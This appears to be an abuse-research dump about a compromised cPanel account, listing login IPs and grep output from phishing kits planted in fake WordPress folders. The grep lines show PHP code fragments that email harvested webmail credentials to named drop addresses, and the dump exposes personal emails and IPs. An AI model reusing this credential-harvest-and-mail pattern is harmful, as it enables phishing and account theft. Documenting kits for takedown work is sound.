http://billtracations.com/fish-info.txt

http://billtracations.com/fish-info.txt

cpanel owner
r0ot3r@live.com

recent cpanel logins
197.220.169.157 # 2016-07-07 18:21:11 +0200
160.152.1.172 # 2016-07-07 20:00:34 +0200
85.237.223.9 # 2016-07-08 17:05:34 +0200
85.237.223.24 # 2016-07-08 17:35:51 +0200
109.125.159.31 # 2016-07-08 18:07:34 +0200
85.237.223.24 # 2016-07-08 19:19:30 +0200
197.255.169.97 # 2016-07-08 21:49:11 +0200
154.118.4.250 # 2016-07-08 22:17:11 +0200
197.255.164.172 # 2016-07-08 22:29:37 +0200
85.237.223.215 # 2016-07-09 07:27:45 +0200
154.118.73.113 # 2016-07-09 08:43:53 +0200
169.159.98.88 # 2016-07-09 08:45:13 +0200
154.118.66.171 # 2016-07-09 09:18:42 +0200
85.237.223.100 # 2016-07-09 14:41:10 +0200
154.118.2.138 # 2016-07-09 20:12:43 +0200

fish mails
./added/wp-include/111282be68b659f15654b4802b3caa6d/iz.php:$send = "sgt.reneebaldwin@gmail.com";
./added/wp-include/dfaf2008d712414f33b43ed5345ac08a/iz.php:$send = "sgt.reneebaldwin@gmail.com";
./added/wp-include/home/iz.php:$send = "sgt.reneebaldwin@gmail.com";
./added/wp-include/5d27b1c3991bc430b6d2a7db213123ba/iz.php:$send = "sgt.reneebaldwin@gmail.com";
./pone/yh/yh/y/3d.php:$own = 'giftednamo@gmail.com,rich.savage@yandex.com';
./raja/wp-documents/26e76cf7470b2911761c22cbd74f9033/begin_file/live.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/26e76cf7470b2911761c22cbd74f9033/begin_file/real2.php:$headers .= "To: The Receiver <rdmtzil@gmail.com>\n" .
./raja/wp-documents/26e76cf7470b2911761c22cbd74f9033/begin_file/yahoo.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/26e76cf7470b2911761c22cbd74f9033/begin_file/owa.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/26e76cf7470b2911761c22cbd74f9033/begin_file/aol.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/26e76cf7470b2911761c22cbd74f9033/begin_file/webmail.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/cd75da6623a8b75f5d70ecac2a02562a/begin_file/live.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/cd75da6623a8b75f5d70ecac2a02562a/begin_file/real2.php:$headers .= "To: The Receiver <rdmtzil@gmail.com>\n" .
./raja/wp-documents/cd75da6623a8b75f5d70ecac2a02562a/begin_file/yahoo.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/cd75da6623a8b75f5d70ecac2a02562a/begin_file/owa.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/cd75da6623a8b75f5d70ecac2a02562a/begin_file/aol.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/cd75da6623a8b75f5d70ecac2a02562a/begin_file/webmail.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/fold/begin_file/live.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/fold/begin_file/real2.php:$headers .= "To: The Receiver <rdmtzil@gmail.com>\n" .
./raja/wp-documents/fold/begin_file/yahoo.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/fold/begin_file/owa.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/fold/begin_file/aol.php:$send = "ommmgang@gmail.com";
./raja/wp-documents/fold/begin_file/webmail.php:$send = "ommmgang@gmail.com";
./access/webmail/info.php:$recipient ="countlogs11@gmail.com";
./tmp/yahoo.php:$recipient = "blaize.bond@gmail.com, jasontroy19@gmail.com";
./Public/wp-include/3d65996d5fdc8b39095efccd197ce662/iz.php:$send = "kposh30@gmail.com, poshgozzy@yandex.com";
./Public/wp-include/bc1bfe17bc48815b32da379f9cfef542/iz.php:$send = "kposh30@gmail.com, poshgozzy@yandex.com";
./Public/wp-include/home/iz.php:$send = "kposh30@gmail.com, poshgozzy@yandex.com";
./Public/wp-include/9b09d4805d549841f194c05efc15da0e/iz.php:$send = "kposh30@gmail.com, poshgozzy@yandex.com";
./update/hotmail.com/signin.php:  mail("wwmefd@gmail.com", $subj, $msg, $from);
./goods/account/mpp/update_info/config.php:$to      = 'countlogs11@gmail.com';
./gotto/hotmail.com/signin.php:  mail("giftednamo@gmail.com", $subj, $msg, $from);